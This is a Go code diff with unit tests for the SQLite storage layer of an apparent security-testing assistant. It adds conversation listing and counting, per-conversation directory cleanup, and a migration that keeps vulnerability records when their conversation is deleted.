WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved'))
|
||||
ORDER BY created_at ASC
|
||||
ORDER BY created_at ASC, rowid ASC
|
||||
LIMIT ?
|
||||
`
|
||||
rows, err := tx.Query(query, sessionID, limit)
|
||||
|
||||
@@ -361,6 +361,27 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
||||
return &conv, nil
|
||||
}
|
||||
|
||||
// CountConversations 统计对话数量。
|
||||
func (db *DB) CountConversations(search string) (int, error) {
|
||||
var count int
|
||||
var err error
|
||||
if search != "" {
|
||||
searchPattern := "%" + search + "%"
|
||||
err = db.QueryRow(
|
||||
`SELECT COUNT(*) FROM conversations c
|
||||
WHERE c.title LIKE ?
|
||||
OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)`,
|
||||
searchPattern, searchPattern,
|
||||
).Scan(&count)
|
||||
} else {
|
||||
err = db.QueryRow(`SELECT COUNT(*) FROM conversations`).Scan(&count)
|
||||
}
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("统计对话失败: %w", err)
|
||||
}
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// ListConversations 列出所有对话
|
||||
func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
|
||||
var rows *sql.Rows
|
||||
@@ -430,6 +451,73 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
|
||||
return conversations, nil
|
||||
}
|
||||
|
||||
const ungroupedConversationsSQL = `
|
||||
FROM conversations c
|
||||
WHERE NOT EXISTS (
|
||||
SELECT 1 FROM conversation_group_mappings cgm WHERE cgm.conversation_id = c.id
|
||||
)`
|
||||
|
||||
// CountUngroupedConversations 统计不在任何分组中的对话数量。
|
||||
func (db *DB) CountUngroupedConversations() (int, error) {
|
||||
var count int
|
||||
if err := db.QueryRow(`SELECT COUNT(*) ` + ungroupedConversationsSQL).Scan(&count); err != nil {
|
||||
return 0, fmt.Errorf("统计未分组对话失败: %w", err)
|
||||
}
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// ListUngroupedConversations 列出不在任何分组中的对话(最近对话侧栏)。
|
||||
func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
|
||||
rows, err := db.Query(
|
||||
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
|
||||
ungroupedConversationsSQL+`
|
||||
ORDER BY c.updated_at DESC
|
||||
LIMIT ? OFFSET ?`,
|
||||
limit, offset,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var conversations []*Conversation
|
||||
for rows.Next() {
|
||||
var conv Conversation
|
||||
var createdAt, updatedAt string
|
||||
var pinned int
|
||||
var projectID sql.NullString
|
||||
|
||||
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
||||
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||
}
|
||||
if projectID.Valid {
|
||||
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||
}
|
||||
|
||||
var err1, err2 error
|
||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||
if err1 != nil {
|
||||
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||
}
|
||||
if err1 != nil {
|
||||
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||
}
|
||||
|
||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||
if err2 != nil {
|
||||
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||
}
|
||||
if err2 != nil {
|
||||
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||
}
|
||||
|
||||
conv.Pinned = pinned != 0
|
||||
conversations = append(conversations, &conv)
|
||||
}
|
||||
|
||||
return conversations, rows.Err()
|
||||
}
|
||||
|
||||
// UpdateConversationTitle 更新对话标题
|
||||
func (db *DB) UpdateConversationTitle(id, title string) error {
|
||||
// 注意:不更新 updated_at,因为重命名操作不应该改变对话的更新时间
|
||||
@@ -455,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteConversation 删除对话及其所有相关数据
|
||||
// DeleteConversation 删除对话及其会话相关数据。
|
||||
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
|
||||
// - messages(消息)
|
||||
// - process_details(过程详情)
|
||||
// - attack_chain_nodes(攻击链节点)
|
||||
// - attack_chain_edges(攻击链边)
|
||||
// - vulnerabilities(漏洞)
|
||||
// - conversation_group_mappings(分组映射)
|
||||
// 注意:knowledge_retrieval_logs 使用 ON DELETE SET NULL,记录会保留但 conversation_id 会被设为 NULL
|
||||
// 漏洞记录会保留:vulnerabilities.conversation_id 使用 ON DELETE SET NULL,仅解除与会话的关联。
|
||||
// 注意:knowledge_retrieval_logs 在删除前会被显式清理。
|
||||
func (db *DB) DeleteConversation(id string) error {
|
||||
// 删除对话前补全漏洞来源标签,便于在漏洞库中追溯已删除会话的发现。
|
||||
_, err := db.Exec(`
|
||||
UPDATE vulnerabilities
|
||||
SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
|
||||
WHERE conversation_id = ?
|
||||
`, id, id)
|
||||
if err != nil {
|
||||
db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
|
||||
}
|
||||
|
||||
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
|
||||
_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
||||
_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
||||
if err != nil {
|
||||
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
|
||||
// 不返回错误,继续删除对话
|
||||
@@ -477,17 +575,51 @@ func (db *DB) DeleteConversation(id string) error {
|
||||
if err != nil {
|
||||
return fmt.Errorf("删除对话失败: %w", err)
|
||||
}
|
||||
// Best-effort cleanup for conversation-scoped filesystem artifacts
|
||||
// (e.g., summarization transcript, reduction/checkpoint files under conversation_artifacts/<id>).
|
||||
if base := strings.TrimSpace(db.conversationArtifactsDir); base != "" {
|
||||
artDir := filepath.Join(base, id)
|
||||
if rmErr := os.RemoveAll(artDir); rmErr != nil {
|
||||
db.logger.Warn("删除会话 artifacts 目录失败", zap.String("conversationId", id), zap.String("dir", artDir), zap.Error(rmErr))
|
||||
db.removeConversationScopedDirs(id)
|
||||
|
||||
db.logger.Info("对话已删除(漏洞记录已保留)", zap.String("conversationId", id))
|
||||
return nil
|
||||
}
|
||||
|
||||
func sanitizeConversationPathSegment(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
if s == "" {
|
||||
return "default"
|
||||
}
|
||||
s = strings.ReplaceAll(s, string(filepath.Separator), "-")
|
||||
s = strings.ReplaceAll(s, "/", "-")
|
||||
s = strings.ReplaceAll(s, "\\", "-")
|
||||
s = strings.ReplaceAll(s, "..", "__")
|
||||
if len(s) > 180 {
|
||||
s = s[:180]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func (db *DB) removeConversationScopedDir(base, conversationID, label string) {
|
||||
base = strings.TrimSpace(base)
|
||||
if base == "" {
|
||||
return
|
||||
}
|
||||
dir := filepath.Join(base, sanitizeConversationPathSegment(conversationID))
|
||||
if rmErr := os.RemoveAll(dir); rmErr != nil {
|
||||
if db.logger != nil {
|
||||
db.logger.Warn("删除会话目录失败",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.String("kind", label),
|
||||
zap.String("dir", dir),
|
||||
zap.Error(rmErr))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
|
||||
return nil
|
||||
func (db *DB) removeConversationScopedDirs(conversationID string) {
|
||||
// summarization transcript, reduction files, etc.
|
||||
db.removeConversationScopedDir(db.conversationArtifactsDir, conversationID, "conversation_artifacts")
|
||||
// Eino plantask JSON boards (skills_dir/.eino/plantask/<id>/).
|
||||
db.removeConversationScopedDir(db.einoPlantaskBaseDir, conversationID, "plantask")
|
||||
// Eino ADK runner checkpoints (checkpoint_dir/<id>/).
|
||||
db.removeConversationScopedDir(db.einoCheckpointBaseDir, conversationID, "eino_checkpoint")
|
||||
}
|
||||
|
||||
// SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
|
||||
@@ -604,7 +736,7 @@ func (db *DB) UpdateAssistantMessageFinalize(messageID, content string, mcpExecu
|
||||
// GetMessages 获取对话的所有消息
|
||||
func (db *DB) GetMessages(conversationID string) ([]Message, error) {
|
||||
rows, err := db.Query(
|
||||
"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC",
|
||||
"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
|
||||
conversationID,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -799,7 +931,7 @@ func (db *DB) AddProcessDetail(messageID, conversationID, eventType, message str
|
||||
// GetProcessDetails 获取消息的过程详情
|
||||
func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
|
||||
rows, err := db.Query(
|
||||
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC",
|
||||
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC",
|
||||
messageID,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -835,7 +967,7 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
|
||||
// GetProcessDetailsByConversation 获取对话的所有过程详情(按消息分组)
|
||||
func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
|
||||
rows, err := db.Query(
|
||||
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC",
|
||||
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
|
||||
conversationID,
|
||||
)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func TestDeleteConversationRemovesEinoScopedDirs(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "conversations.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatalf("NewDB: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
plantaskBase := filepath.Join(tmp, "skills", ".eino", "plantask")
|
||||
checkpointBase := filepath.Join(tmp, "eino-checkpoints")
|
||||
db.SetEinoConversationDirs(plantaskBase, checkpointBase)
|
||||
|
||||
conv, err := db.CreateConversation("cleanup test", ConversationCreateMeta{})
|
||||
if err != nil {
|
||||
t.Fatalf("CreateConversation: %v", err)
|
||||
}
|
||||
convID := conv.ID
|
||||
seg := sanitizeConversationPathSegment(convID)
|
||||
for _, base := range []struct {
|
||||
root string
|
||||
file string
|
||||
}{
|
||||
{db.conversationArtifactsDir, "transcript.txt"},
|
||||
{plantaskBase, "task-1.json"},
|
||||
{checkpointBase, "runner-deep.ckpt"},
|
||||
} {
|
||||
dir := filepath.Join(base.root, seg)
|
||||
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||
t.Fatalf("mkdir %s: %v", dir, err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(dir, base.file), []byte("x"), 0o644); err != nil {
|
||||
t.Fatalf("write %s: %v", base.file, err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := db.DeleteConversation(convID); err != nil {
|
||||
t.Fatalf("DeleteConversation: %v", err)
|
||||
}
|
||||
|
||||
for _, base := range []string{db.conversationArtifactsDir, plantaskBase, checkpointBase} {
|
||||
dir := filepath.Join(base, seg)
|
||||
if _, statErr := os.Stat(dir); !os.IsNotExist(statErr) {
|
||||
t.Fatalf("expected removed dir %s, stat err=%v", dir, statErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "vuln-preserve.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatalf("NewDB: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
|
||||
if err != nil {
|
||||
t.Fatalf("CreateConversation: %v", err)
|
||||
}
|
||||
|
||||
vuln, err := db.CreateVulnerability(&Vulnerability{
|
||||
ConversationID: conv.ID,
|
||||
Title: "SQL Injection",
|
||||
Severity: "high",
|
||||
Status: "open",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("CreateVulnerability: %v", err)
|
||||
}
|
||||
|
||||
if err := db.DeleteConversation(conv.ID); err != nil {
|
||||
t.Fatalf("DeleteConversation: %v", err)
|
||||
}
|
||||
|
||||
got, err := db.GetVulnerability(vuln.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("GetVulnerability after delete: %v", err)
|
||||
}
|
||||
if got.Title != "SQL Injection" {
|
||||
t.Fatalf("title = %q, want SQL Injection", got.Title)
|
||||
}
|
||||
if got.ConversationID != "" {
|
||||
t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
|
||||
}
|
||||
if got.ConversationTag != "vuln source chat" {
|
||||
t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
|
||||
tmp := t.TempDir()
|
||||
dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatalf("NewDB: %v", err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||
if err != nil {
|
||||
t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
|
||||
}
|
||||
if !ok {
|
||||
t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
|
||||
}
|
||||
}
|
||||
+131
-52
@@ -49,6 +49,8 @@ type DB struct {
|
||||
*sql.DB
|
||||
logger *zap.Logger
|
||||
conversationArtifactsDir string
|
||||
einoPlantaskBaseDir string // skills_dir + plantask_rel_dir (per-conversation subdirs)
|
||||
einoCheckpointBaseDir string // checkpoint_dir root (per-conversation subdirs)
|
||||
checkpointLoopName string
|
||||
checkpointStop chan struct{}
|
||||
checkpointDone chan struct{}
|
||||
@@ -155,6 +157,16 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
||||
return database, nil
|
||||
}
|
||||
|
||||
// SetEinoConversationDirs configures best-effort filesystem cleanup on DeleteConversation.
|
||||
// plantaskBase is skills_root/plantask_rel (no conversation id); checkpointBase is checkpoint_dir root.
|
||||
func (db *DB) SetEinoConversationDirs(plantaskBase, checkpointBase string) {
|
||||
if db == nil {
|
||||
return
|
||||
}
|
||||
db.einoPlantaskBaseDir = strings.TrimSpace(plantaskBase)
|
||||
db.einoCheckpointBaseDir = strings.TrimSpace(checkpointBase)
|
||||
}
|
||||
|
||||
// initTables 初始化数据库表
|
||||
func (db *DB) initTables() error {
|
||||
// 创建对话表(last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要,列名保留以兼容已有库)
|
||||
@@ -334,7 +346,6 @@ func (db *DB) initTables() error {
|
||||
source_conversation_id TEXT,
|
||||
source_message_id TEXT,
|
||||
pinned INTEGER NOT NULL DEFAULT 0,
|
||||
supersedes_fact_id TEXT,
|
||||
related_vulnerability_id TEXT,
|
||||
created_at DATETIME NOT NULL,
|
||||
updated_at DATETIME NOT NULL,
|
||||
@@ -342,30 +353,11 @@ func (db *DB) initTables() error {
|
||||
UNIQUE(project_id, fact_key)
|
||||
);`
|
||||
|
||||
createProjectFactVersionsTable := `
|
||||
CREATE TABLE IF NOT EXISTS project_fact_versions (
|
||||
id TEXT PRIMARY KEY,
|
||||
fact_id TEXT NOT NULL,
|
||||
project_id TEXT NOT NULL,
|
||||
fact_key TEXT NOT NULL,
|
||||
category TEXT NOT NULL DEFAULT 'note',
|
||||
summary TEXT NOT NULL DEFAULT '',
|
||||
body TEXT,
|
||||
confidence TEXT NOT NULL DEFAULT 'tentative',
|
||||
source_conversation_id TEXT,
|
||||
source_message_id TEXT,
|
||||
pinned INTEGER NOT NULL DEFAULT 0,
|
||||
related_vulnerability_id TEXT,
|
||||
archived_at DATETIME NOT NULL,
|
||||
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
|
||||
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
|
||||
);`
|
||||
|
||||
// 创建漏洞表
|
||||
createVulnerabilitiesTable := `
|
||||
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
||||
id TEXT PRIMARY KEY,
|
||||
conversation_id TEXT NOT NULL,
|
||||
conversation_id TEXT,
|
||||
conversation_tag TEXT,
|
||||
task_tag TEXT,
|
||||
title TEXT NOT NULL,
|
||||
@@ -379,7 +371,8 @@ func (db *DB) initTables() error {
|
||||
recommendation TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
|
||||
project_id TEXT,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||
);`
|
||||
|
||||
// 创建批量任务队列表
|
||||
@@ -598,7 +591,6 @@ func (db *DB) initTables() error {
|
||||
CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
|
||||
CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
|
||||
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
|
||||
@@ -680,10 +672,6 @@ func (db *DB) initTables() error {
|
||||
return fmt.Errorf("创建project_facts表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createProjectFactVersionsTable); err != nil {
|
||||
return fmt.Errorf("创建project_fact_versions表失败: %w", err)
|
||||
}
|
||||
|
||||
if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
|
||||
return fmt.Errorf("创建vulnerabilities表失败: %w", err)
|
||||
}
|
||||
@@ -750,12 +738,15 @@ func (db *DB) initTables() error {
|
||||
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
|
||||
// 不返回错误,允许继续运行
|
||||
}
|
||||
if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
|
||||
db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
|
||||
}
|
||||
|
||||
if err := db.migrateProjectsTable(); err != nil {
|
||||
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
||||
}
|
||||
if err := db.migrateProjectFactVersionsTable(); err != nil {
|
||||
db.logger.Warn("迁移project_fact_versions表失败", zap.Error(err))
|
||||
if err := db.dropProjectFactVersionsTable(); err != nil {
|
||||
db.logger.Warn("清理project_fact_versions表失败", zap.Error(err))
|
||||
}
|
||||
|
||||
if err := db.migrateWebshellConnectionsTable(); err != nil {
|
||||
@@ -1153,34 +1144,122 @@ func (db *DB) migrateProjectsTable() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// migrateProjectFactVersionsTable 为已有库创建事实版本表。
|
||||
func (db *DB) migrateProjectFactVersionsTable() error {
|
||||
ddl := `
|
||||
CREATE TABLE IF NOT EXISTS project_fact_versions (
|
||||
id TEXT PRIMARY KEY,
|
||||
fact_id TEXT NOT NULL,
|
||||
project_id TEXT NOT NULL,
|
||||
fact_key TEXT NOT NULL,
|
||||
category TEXT NOT NULL DEFAULT 'note',
|
||||
summary TEXT NOT NULL DEFAULT '',
|
||||
body TEXT,
|
||||
confidence TEXT NOT NULL DEFAULT 'tentative',
|
||||
source_conversation_id TEXT,
|
||||
source_message_id TEXT,
|
||||
pinned INTEGER NOT NULL DEFAULT 0,
|
||||
related_vulnerability_id TEXT,
|
||||
archived_at DATETIME NOT NULL,
|
||||
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
|
||||
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
|
||||
);`
|
||||
if _, err := db.Exec(ddl); err != nil {
|
||||
// dropProjectFactVersionsTable 移除已废弃的事实版本归档表。
|
||||
func (db *DB) dropProjectFactVersionsTable() error {
|
||||
_, err := db.Exec(`DROP TABLE IF EXISTS project_fact_versions`)
|
||||
return err
|
||||
}
|
||||
|
||||
// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL,删除对话时保留漏洞记录。
|
||||
func (db *DB) migrateVulnerabilitiesConversationFK() error {
|
||||
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id)`)
|
||||
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id)`)
|
||||
if ok {
|
||||
return nil
|
||||
}
|
||||
|
||||
tx, err := db.Begin()
|
||||
if err != nil {
|
||||
return fmt.Errorf("开启事务失败: %w", err)
|
||||
}
|
||||
defer func() { _ = tx.Rollback() }()
|
||||
|
||||
const createNew = `
|
||||
CREATE TABLE vulnerabilities_new (
|
||||
id TEXT PRIMARY KEY,
|
||||
conversation_id TEXT,
|
||||
conversation_tag TEXT,
|
||||
task_tag TEXT,
|
||||
title TEXT NOT NULL,
|
||||
description TEXT,
|
||||
severity TEXT NOT NULL,
|
||||
status TEXT NOT NULL DEFAULT 'open',
|
||||
vulnerability_type TEXT,
|
||||
target TEXT,
|
||||
proof TEXT,
|
||||
impact TEXT,
|
||||
recommendation TEXT,
|
||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
project_id TEXT,
|
||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||
);`
|
||||
if _, err := tx.Exec(createNew); err != nil {
|
||||
return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
|
||||
}
|
||||
|
||||
const copyRows = `
|
||||
INSERT INTO vulnerabilities_new (
|
||||
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||
created_at, updated_at, project_id
|
||||
)
|
||||
SELECT
|
||||
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||
created_at, updated_at, project_id
|
||||
FROM vulnerabilities;`
|
||||
if _, err := tx.Exec(copyRows); err != nil {
|
||||
return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
|
||||
}
|
||||
if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
|
||||
return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
|
||||
}
|
||||
if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
|
||||
return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
|
||||
}
|
||||
|
||||
indexes := []string{
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
|
||||
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
|
||||
}
|
||||
for _, stmt := range indexes {
|
||||
if _, err := tx.Exec(stmt); err != nil {
|
||||
return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(); err != nil {
|
||||
return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
|
||||
}
|
||||
db.logger.Info("vulnerabilities 表已迁移:删除对话时保留漏洞记录")
|
||||
return nil
|
||||
}
|
||||
|
||||
func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
|
||||
rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
found := false
|
||||
for rows.Next() {
|
||||
var id, seq int
|
||||
var table, from, to, onUpdate, onDelete, match string
|
||||
if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if from == "conversation_id" {
|
||||
found = true
|
||||
if !strings.EqualFold(onDelete, "SET NULL") {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
return found, nil
|
||||
}
|
||||
|
||||
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
||||
func (db *DB) migrateVulnerabilitiesTable() error {
|
||||
columns := []struct {
|
||||
|
||||
@@ -3,6 +3,7 @@ package database
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -500,23 +501,24 @@ type CallsTimelineBucket struct {
|
||||
Failed int
|
||||
}
|
||||
|
||||
// truncateCallsTimelineBucket 将时间截断到趋势图桶边界(本地时区,与 handler 侧 truncateToBucket 一致)
|
||||
func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
|
||||
t = t.In(time.Local)
|
||||
if dailyBuckets {
|
||||
y, m, d := t.Date()
|
||||
return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
|
||||
}
|
||||
return t.Truncate(time.Hour)
|
||||
}
|
||||
|
||||
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
|
||||
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
|
||||
var bucketExpr string
|
||||
if dailyBuckets {
|
||||
bucketExpr = `strftime('%Y-%m-%d 00:00:00', start_time)`
|
||||
} else {
|
||||
bucketExpr = `strftime('%Y-%m-%d %H:00:00', start_time)`
|
||||
}
|
||||
|
||||
// 在 Go 侧按本地时区分桶,避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析(差 8h 等问题)
|
||||
query := `
|
||||
SELECT ` + bucketExpr + ` AS bucket,
|
||||
COUNT(*) AS total,
|
||||
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
|
||||
SELECT start_time,
|
||||
CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
|
||||
FROM tool_executions
|
||||
WHERE start_time >= ?
|
||||
GROUP BY bucket
|
||||
ORDER BY bucket ASC
|
||||
`
|
||||
|
||||
rows, err := db.Query(query, since)
|
||||
@@ -525,28 +527,32 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var buckets []CallsTimelineBucket
|
||||
bucketMap := make(map[time.Time]struct{ total, failed int })
|
||||
for rows.Next() {
|
||||
var bucketStr string
|
||||
var total, failed int
|
||||
if err := rows.Scan(&bucketStr, &total, &failed); err != nil {
|
||||
var startTime time.Time
|
||||
var failed int
|
||||
if err := rows.Scan(&startTime, &failed); err != nil {
|
||||
db.logger.Warn("加载调用趋势失败", zap.Error(err))
|
||||
continue
|
||||
}
|
||||
